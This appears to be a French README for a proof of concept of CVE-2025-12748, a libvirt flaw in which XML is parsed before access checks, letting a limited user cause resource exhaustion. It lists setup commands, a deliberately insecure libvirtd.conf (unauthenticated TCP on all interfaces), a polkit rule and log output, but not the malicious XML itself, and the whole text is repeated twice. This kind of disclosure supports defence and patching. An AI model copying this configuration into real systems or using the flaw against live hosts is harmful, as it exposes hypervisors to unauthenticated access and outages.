teresh1/cve-2025-12748Preuve de concept pour CVE-2025-12748, une vulnérabilité de déni de service dans le traitement XML de libvirt qui contourne les contrôles ACL, permettant l'épuisement des ressources.
Un problème a été découvert dans la procédure de traitement du fichier XML.
Le traitement du contenu du fichier est effectué avant la vérification des ACL. Cela permet à un utilisateur disposant de permissions limitées de soumettre un fichier XML spécialement conçu qui peut entraîner une consommation excessive de ressources, conduisant à une potentielle attaque par déni de service (DoS).
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules) :polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitTentative d'accès à libvirt avec un fichier XML valide :
virsh --connect qemu://system define ./test.xml
L'erreur suivante sera reçue :
error: Failed to define domain from ./test.xml
error: access denied: access denied "QEMU"
Et le journal polkit correspondant :
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Tentative d'accès à libvirt avec un fichier XML malveillant :
virsh --connect qemu://system define ./oom.xml
Le journal sera vide en raison du blocage du serveur, et une augmentation de la consommation de ressources par libvirtd peut être observée dans top.
Un problème a été découvert lors du traitement du fichier XML.
Le traitement du contenu du fichier est effectué avant la vérification des ACL. Cela permet à un utilisateur disposant de droits limités d'envoyer un fichier XML spécialement conçu qui peut entraîner une consommation excessive de ressources, conduisant à une potentielle attaque par déni de service (DoS).
/etc/libvirt/libvirtd.conf, remplacez le texte par :listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules) :polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitTentative d'accès à libvirt avec un fichier XML valide :
virsh --connect qemu://system define ./test.xml
L'erreur suivante sera reçue :
ошибка: Не удалось создать описание домена на основе ./test.xml
ошибка: доступ запрещен: доступ запрещен "QEMU"
Et le journal polkit correspondant :
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Tentative d'accès à libvirt avec un fichier XML malveillant :
virsh --connect qemu://system define ./oom.xml
Le journal sera vide en raison du blocage du serveur ; dans top, on peut constater l'augmentation des ressources consommées par libvirtd.